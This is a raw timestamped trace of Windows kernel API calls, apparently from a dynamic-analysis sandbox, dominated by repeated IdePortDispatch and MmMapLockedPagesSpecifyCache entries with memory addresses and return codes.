IdePortDispatch () returned 0x103 [0058.884] IdePortDispatch () returned 0x103 [0058.885] IdePortDispatch () returned 0x103 [0058.885] IdePortDispatch () returned 0x103 [0058.885] IdePortDispatch () returned 0x103 [0058.885] IdePortDispatch () returned 0x103 [0058.886] IdePortDispatch () returned 0x103 [0058.886] IdePortDispatch () returned 0x103 [0058.886] IdePortDispatch () returned 0x103 [0058.886] IdePortDispatch () returned 0x103 [0058.887] IdePortDispatch () returned 0x103 [0058.887] IdePortDispatch () returned 0x103 [0058.887] IdePortDispatch () returned 0x103 [0058.887] IdePortDispatch () returned 0x103 [0058.888] IdePortDispatch () returned 0x103 [0058.888] IdePortDispatch () returned 0x103 [0058.888] IdePortDispatch () returned 0x103 [0058.888] IdePortDispatch () returned 0x103 [0058.889] IdePortDispatch () returned 0x103 [0058.890] IdePortDispatch () returned 0x103 [0058.890] IdePortDispatch () returned 0x103 [0058.890] IdePortDispatch () returned 0x103 [0058.891] IdePortDispatch () returned 0x103 [0058.891] IdePortDispatch () returned 0x103 [0058.891] IdePortDispatch () returned 0x103 [0058.891] IdePortDispatch () returned 0x103 [0058.892] IdePortDispatch () returned 0x103 [0058.893] IdePortDispatch () returned 0x103 [0058.893] IdePortDispatch () returned 0x103 [0058.893] IdePortDispatch () returned 0x103 [0058.893] IdePortDispatch () returned 0x103 [0058.893] IdePortDispatch () returned 0x103 [0058.894] IdePortDispatch () returned 0x103 [0058.894] IdePortDispatch () returned 0x103 [0058.894] IdePortDispatch () returned 0x103 [0058.895] IdePortDispatch () returned 0x103 [0058.895] IdePortDispatch () returned 0x103 [0058.895] IdePortDispatch () returned 0x103 [0058.895] IdePortDispatch () returned 0x103 [0058.896] IdePortDispatch () returned 0x103 [0058.896] IdePortDispatch () returned 0x103 [0058.896] IdePortDispatch () returned 0x103 [0058.896] IdePortDispatch () returned 0x103 [0058.897] IdePortDispatch () returned 0x103 [0058.897] IdePortDispatch () returned 0x103 [0058.897] IdePortDispatch () returned 0x103 [0058.897] IdePortDispatch () returned 0x103 [0058.898] IdePortDispatch () returned 0x103 [0058.898] IdePortDispatch () returned 0x103 [0058.898] IdePortDispatch () returned 0x103 [0058.898] IdePortDispatch () returned 0x103 [0058.899] IdePortDispatch () returned 0x103 [0058.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0058.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d2990, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa800dd48630 [0058.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800dd48630, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800dd48630) [0058.905] KeInitializeEvent (in: Event=0xfffff88002f7aaf0, Type=0x0, State=0 | out: Event=0xfffff88002f7aaf0) [0058.905] IdePortDispatch () returned 0x103 [0058.905] KeWaitForMutexObject () returned 0x0 [0058.906] IdePortDispatch () returned 0x103 [0058.906] IdePortDispatchDeviceControl () returned 0x0 [0058.906] IdePortDispatchDeviceControl () returned 0x0 [0058.906] IdePortDispatchDeviceControl () returned 0x0 [0058.906] IdePortDispatchDeviceControl () returned 0xc0000010 [0058.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8a000 [0058.907] IdePortDispatch () returned 0x103 [0058.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8b000 [0058.908] IdePortDispatch () returned 0x103 [0058.908] IdePortDispatch () returned 0x103 [0058.909] IdePortDispatch () returned 0x103 [0058.909] IdePortDispatch () returned 0x103 [0058.910] IdePortDispatch () returned 0x103 [0058.910] IdePortDispatch () returned 0x103 [0058.910] IdePortDispatch () returned 0x103 [0058.911] IdePortDispatch () returned 0x103 [0058.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0058.912] IdePortDispatch () returned 0x103 [0058.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dc2000 [0058.912] IdePortDispatch () returned 0x103 [0058.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0058.912] IdePortDispatch () returned 0x103 [0058.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0058.912] IdePortDispatch () returned 0x103 [0058.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0058.913] IdePortDispatch () returned 0x103 [0058.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0058.913] IdePortDispatch () returned 0x103 [0058.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0058.913] IdePortDispatch () returned 0x103 [0058.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0058.914] IdePortDispatch () returned 0x103 [0058.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0058.963] IdePortDispatch () returned 0x103 [0058.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0058.964] IdePortDispatch () returned 0x103 [0058.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0058.964] IdePortDispatch () returned 0x103 [0058.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0058.964] IdePortDispatch () returned 0x103 [0058.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0058.965] IdePortDispatch () returned 0x103 [0058.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0058.965] IdePortDispatch () returned 0x103 [0058.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f91000 [0058.965] IdePortDispatch () returned 0x103 [0058.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fb1000 [0058.965] IdePortDispatch () returned 0x103 [0059.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0059.022] IdePortDispatch () returned 0x103 [0059.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0059.022] IdePortDispatch () returned 0x103 [0059.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0059.023] IdePortDispatch () returned 0x103 [0059.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0059.023] IdePortDispatch () returned 0x103 [0059.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0059.023] IdePortDispatch () returned 0x103 [0059.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0059.023] IdePortDispatch () returned 0x103 [0059.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0059.024] IdePortDispatch () returned 0x103 [0059.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0059.024] IdePortDispatch () returned 0x103 [0059.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d40000 [0059.073] IdePortDispatch () returned 0x103 [0059.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0059.073] IdePortDispatch () returned 0x103 [0059.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0059.074] IdePortDispatch () returned 0x103 [0059.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0059.074] IdePortDispatch () returned 0x103 [0059.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dc0000 [0059.074] IdePortDispatch () returned 0x103 [0059.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de0000 [0059.074] IdePortDispatch () returned 0x103 [0059.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0059.075] IdePortDispatch () returned 0x103 [0059.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003420000 [0059.075] IdePortDispatch () returned 0x103 [0059.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0059.110] IdePortDispatch () returned 0x103 [0059.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0059.110] IdePortDispatch () returned 0x103 [0059.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0059.110] IdePortDispatch () returned 0x103 [0059.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0059.110] IdePortDispatch () returned 0x103 [0059.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0059.111] IdePortDispatch () returned 0x103 [0059.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0059.111] IdePortDispatch () returned 0x103 [0059.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0059.111] IdePortDispatch () returned 0x103 [0059.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0059.111] IdePortDispatch () returned 0x103 [0059.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0059.138] IdePortDispatch () returned 0x103 [0059.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0059.144] IdePortDispatch () returned 0x103 [0059.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0059.144] IdePortDispatch () returned 0x103 [0059.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0059.144] IdePortDispatch () returned 0x103 [0059.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0059.145] IdePortDispatch () returned 0x103 [0059.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd0000 [0059.145] IdePortDispatch () returned 0x103 [0059.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0059.145] IdePortDispatch () returned 0x103 [0059.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d10000 [0059.145] IdePortDispatch () returned 0x103 [0059.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003430000 [0059.162] IdePortDispatch () returned 0x103 [0059.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0059.162] IdePortDispatch () returned 0x103 [0059.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0059.162] IdePortDispatch () returned 0x103 [0059.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003490000 [0059.162] IdePortDispatch () returned 0x103 [0059.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e0000 [0059.163] IdePortDispatch () returned 0x103 [0059.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003500000 [0059.163] IdePortDispatch () returned 0x103 [0059.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003520000 [0059.163] IdePortDispatch () returned 0x103 [0059.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003540000 [0059.164] IdePortDispatch () returned 0x103 [0059.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0059.176] IdePortDispatch () returned 0x103 [0059.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0059.176] IdePortDispatch () returned 0x103 [0059.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0059.176] IdePortDispatch () returned 0x103 [0059.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0059.177] IdePortDispatch () returned 0x103 [0059.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0059.177] IdePortDispatch () returned 0x103 [0059.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f91000 [0059.177] IdePortDispatch () returned 0x103 [0059.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fb1000 [0059.177] IdePortDispatch () returned 0x103 [0059.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fd1000 [0059.178] IdePortDispatch () returned 0x103 [0059.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dd0000 [0059.184] IdePortDispatch () returned 0x103 [0059.185] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0059.185] IdePortDispatch () returned 0x103 [0059.185] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0059.185] IdePortDispatch () returned 0x103 [0059.185] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0059.185] IdePortDispatch () returned 0x103 [0059.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c50000 [0059.186] IdePortDispatch () returned 0x103 [0059.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0059.186] IdePortDispatch () returned 0x103 [0059.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0059.186] IdePortDispatch () returned 0x103 [0059.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb0000 [0059.186] IdePortDispatch () returned 0x103 [0059.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0059.227] IdePortDispatch () returned 0x103 [0059.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0059.227] IdePortDispatch () returned 0x103 [0059.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f21000 [0059.228] IdePortDispatch () returned 0x103 [0059.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0059.228] IdePortDispatch () returned 0x103 [0059.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0059.228] IdePortDispatch () returned 0x103 [0059.228] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f91000 [0059.228] IdePortDispatch () returned 0x103 [0059.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fb1000 [0059.229] IdePortDispatch () returned 0x103 [0059.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fd1000 [0059.229] IdePortDispatch () returned 0x103 [0059.267] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0059.267] IdePortDispatch () returned 0x103 [0059.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0059.268] IdePortDispatch () returned 0x103 [0059.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003530000 [0059.268] IdePortDispatch () returned 0x103 [0059.268] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0059.268] IdePortDispatch () returned 0x103 [0059.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0059.269] IdePortDispatch () returned 0x103 [0059.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003590000 [0059.269] IdePortDispatch () returned 0x103 [0059.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b0000 [0059.269] IdePortDispatch () returned 0x103 [0059.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d0000 [0059.270] IdePortDispatch () returned 0x103 [0059.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f4e000 [0059.319] IdePortDispatch () returned 0x103 [0059.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f91000 [0059.319] IdePortDispatch () returned 0x103 [0059.320] MmMapLockedPagesSpecifyCache 